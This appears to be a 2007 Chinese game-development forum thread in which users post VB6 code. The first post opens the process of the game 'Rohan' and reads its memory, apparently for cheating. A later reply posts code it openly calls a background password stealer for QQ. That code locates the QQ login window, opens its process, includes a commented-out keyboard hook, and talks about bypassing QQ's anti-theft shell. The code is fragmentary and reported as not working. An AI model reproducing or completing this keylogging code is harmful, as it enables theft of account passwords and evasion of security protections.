游戏开发论坛

 找回密码
 立即注册
搜索
查看: 1667|回复: 2

搜索游戏窗口,出现问题了,请帮助我QQ

[复制链接]

5

主题

7

帖子

11

积分

新手上路

Rank: 1

积分
11
发表于 2007-1-29 17:13:00 | 显示全部楼层 |阅读模式
目前正在玩台湾的Rohan
游戏窗口为"Rohan"(从工作管理员得知)
一行一行执行,发现hProcessID=0
虽有找到窗口名称,但确无法取得ProcessID
难到
那个"Rohan"是"假的"       0.0"
想请教,是否有方法能找到正确的ProcessID^^

ps(以下程序码执行其他游戏时,是ok的)



Private Sub Command3_Click() '执行搜索内存位置
Dim mbi As MEMORY_BASIC_INFORMATION
Dim hwnd As Long, hProcessID As Long, hProcess As Long
Dim tmpBassAddr As Double, lBassAddr As Long
Dim BassAddr() As Long, PageSize() As Long, PageNum As Long
Dim hWnd1 As Long

hwnd = FindWindow(vbNullString, "Rohan")
If hwnd = 0 Then
    MsgBox "无法找到该窗口"
    Exit Sub
End If
Call GetWindowThreadProcessId(hwnd, hProcessID)
If hProcessID = 0 Then
    MsgBox "无法取得ProcessID"
    Exit Sub
End If
   
hProcess = OpenProcess(PROCESS_ALL_ACCESS, 0, hProcessID)
If hProcess = 0 Then
    MsgBox "无法开启该Process"
    Exit Sub
End If





Private Function ncnr(lpAddress As Long) As Integer
    Dim pid As Long
    Dim pHandle As Long
    Dim hwnd As Long
    hwnd = FindWindow(vbNullString, "Rohan")
    GetWindowThreadProcessId hwnd, pid
    pHandle = OpenProcess(PROCESS_ALL_ACCESS, False, pid)
    ReadProcessMemory pHandle, lpAddress, ByVal VarPtr(ncnr), 4, 0&
    CloseHandle pHandle
End Function

9

主题

688

帖子

688

积分

高级会员

Rank: 4

积分
688
发表于 2007-1-29 20:36:00 | 显示全部楼层

Re:搜索游戏窗口,出现问题了,请帮助我QQ

-_-

12

主题

525

帖子

525

积分

高级会员

Rank: 4

积分
525
发表于 2007-1-30 11:29:00 | 显示全部楼层

Re:搜索游戏窗口,出现问题了,请帮助我QQ

后台盗取密码程序,QQ也有如此的反盗取功能,在获取的键盘数据中数字全为0。
这是网罗的防黑壳进程数据,据说只要绕过它就行了。

Option Explicit
Dim hWndForm() As Long, WndForm As Long, i As Long, nHandle As Long
Dim FormCaption() As String, Str1 As String * 255, HooKID As Long, nThreadId As Long
Dim ProgHnd As Long
Private Sub Form_Load()
ReDim Preserve hWndForm(0)
WndForm = GetWindow(Form1.hwnd, GW_HWNDFIRST)
hWndForm(0) = WndForm
'枚举每个窗体句柄
Do While WndForm <> 0
   WndForm = GetWindow(WndForm, GW_HWNDNEXT)
   i = i + 1
   ReDim Preserve hWndForm(i)
   hWndForm(i) = WndForm
Loop
'获取每个窗体句柄的窗体标题
For i = 0 To UBound(hWndForm())
    ReDim Preserve FormCaption(i)
    GetWindowText hWndForm(i), Str1, 255
    FormCaption(i) = Str1
Next i
For i = 0 To UBound(FormCaption())
    '如果这个窗体标题是"QQ用户登录"则把相应的窗体句柄存入nHandle
    If Left(LTrim(RTrim((FormCaption(i)))), 6) = "QQ用户登录" Then
       nHandle = hWndForm(i)
       '获取与窗体相关的进程ID
       nThreadId = GetWindowThreadProcessId(Form1.hwnd, nThreadId)
       '以当前进程得到相应的进程句柄
       ProgHnd = OpenProcess(PROCESS_ALL_ACCESS, False, nThreadId)
       MsgBox ProgHnd
       MsgBox App.hInstance
       'HooKID = SetWindowsHookEx(WH_KEYBOARD, AddressOf GetKeyValue, App.hInstance, nThreadId)
    End If
Next i
End Sub

返回的ProgHnd为0,表示没有打开当前进程的句柄
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

作品发布|文章投稿|广告合作|关于本站|游戏开发论坛 ( 闽ICP备17032699号-3 )

GMT+8, 2026-1-26 09:21

Powered by Discuz! X3.4

Copyright © 2001-2021, Tencent Cloud.

快速回复 返回顶部 返回列表